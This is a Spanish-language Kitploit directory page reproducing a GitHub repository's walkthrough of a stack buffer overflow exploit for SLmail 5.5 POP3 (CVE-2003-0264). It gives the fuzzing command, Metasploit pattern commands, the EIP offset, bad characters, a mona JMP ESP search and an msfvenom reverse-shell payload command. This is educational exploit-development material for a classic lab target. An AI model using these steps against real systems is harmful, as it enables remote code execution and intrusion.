Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2003-0264_EXPLOIT — Desbordamiento de búfer en Seattle Lab Mail (SLmail) 5.5 - POP3 | Kitploit
Herramientas/GitHubGitHub/vrikodar/cve-2003-0264_exploit
ExplotaciónShellcodeDepuradoresFuzzingPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsExplotación de Binarios
GitHubvrikodar/cve-2003-0264_exploit

CVE-2003-0264_EXPLOIT

Desbordamiento de búfer en Seattle Lab Mail (SLmail) 5.5 - POP3

Ver Repositorio
hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

CVE-2003-0264_EXPLOIT

Desbordamiento de búfer en Seattle Lab Mail (SLmail) 5.5 - POP3

Desbordamiento de búfer simple basado en pila, paso a paso

1) FUZZEAR la Aplicación

En el primer paso, aplicaremos fuzzing a la aplicación con un simple script de Spike

mientras tanto, también tendremos SLmail adjunto [y en ejecución] a Immunity Debugger

Más sobre Spike:: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/

Aquí hay un simple script de Spike llamado spike_fuzz.spk

lo ejecutaremos contra la aplicación usando el comando

root@kitploit:~
  line_send_tcp 192.168.1.117 110 spike_fuzz.spk

donde 192.168.1.117 es la IP de la máquina objetivo que ejecuta SLMail y se está ejecutando en el puerto 110

Captura

Mientras tanto, si miramos Immunity, veremos que la aplicación se ha bloqueado

Captura

2) POC Para Replicar el Crash

Ahora crearemos un POC en Python que replica el crash y calcula los bytes en los que la aplicación falla

root@kitploit:~
           python poc_crash.py

Captura

3) Encontrando el Offset

Para encontrar el offset, utilizaremos msf

root@kitploit:~
      1. Primero generar un patrón
      2. Anotar el EIP
      3. Consultar ese EIP y la longitud con MSF para encontrar el offset

msf-pattern_create -l 2700

Captura

En poc_offset.py utilizaremos este patrón como nuestro búfer de desbordamiento (Overflow Buffer).

root@kitploit:~
       python poc_offset.py

Captura

En este punto, también anotamos el valor del EIP en Immunity donde la aplicación se ha bloqueado y pausado

Captura

root@kitploit:~
        EIP es 39694438
        ::Para encontrar el offset::
        
        msf-pattern_offset -l 2700 -q 39694438

Captura

el offset es 2606, es decir, 2606 bytes antes de llegar al EIP::: y el EIP en sí tiene 4 bytes de longitud

4) Controlando el EIP

Ahora intentaremos sobrescribir el EIP con 4 B's, es decir:: en Immunity deberíamos tener 42424242 {Hex para 4 B's}

root@kitploit:~
        python poc_eip_control.py

Captura

Y ahora, si comprobamos Immunity

Captura

5) Encontrando los Bad Characters

Para mantener esto simple y breve

Puedes ejecutar el script poc_badchars.py y luego encontrar tú mismo los Bad Characters

Para ser breve

Esta aplicación tiene dos bad characters {que también son los predeterminados}. Cuando ejecutamos el script poc_badchars.py por primera vez, veremos que el carácter \x0a da problemas; entonces lo eliminaremos de nuestro payload de bad chars y volveremos a ejecutar el script... En la segunda ejecución veremos que el carácter \x0d se omite, así que ese es nuestro segundo bad char y lo eliminamos de nuestro payload :: después de esto, cuando ejecutamos el script por tercera vez, ¡¡todo está claro y bien!!

root@kitploit:~
        badchars son :: \x00\x0a\x0d
        {byte nulo, avance de línea, retorno de carro}

        python poc_badchars.py

6) Encontrando el Módulo Correcto y la dirección

Primero encontramos el módulo correcto usando los módulos de Mona en Immunity

root@kitploit:~
              slmfc.dll es el candidato más apropiado ya que no tiene protecciones de memoria!

Captura

y ahora encontramos una dirección JMP ESP en esta DLL

Esta dirección se escribirá en el EIP para que podamos redirigir la ejecución del programa a ESP, lo que resultará en la ejecución de nuestro shellcode.

root@kitploit:~
        !mona find -s "\xff\xe4" -m slmfc.dll
        
        {\xff\xe4 opcode equivalente de JMP ESP}

Captura

de 19 direcciones de puntero elegimos la primera

7) Lanzando una Shell

Ahora juntaremos todo esto y lanzaremos una shell

root@kitploit:~
              1.) generar el shellcode {excluyendo los badchars}
              2.) añadir la dirección que encontramos {recuerda Little Endian}
              3.) añadir el buffer, la dirección de retorno, algunos nopsleds, el shellcode
              4.) tenemos una shell

Generemos rápidamente el shellcode usando msfvenom

root@kitploit:~
        msfvenom -p windows/shell_reverse_tcp LHOST=<lstening-ip> LPORT=<listening-port> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

Captura

Ponemos todo junto en el archivo exploit.py

Captura

Ahora, esta vez ejecutamos SLmail sin Immunity y también escuchamos las conexiones entrantes simultáneamente

Una vez hecho esto, ejecutaremos el script final exploit.py!

Captura

¡EXCELENTE, TENEMOS UNA SHELL!

Descargar herramienta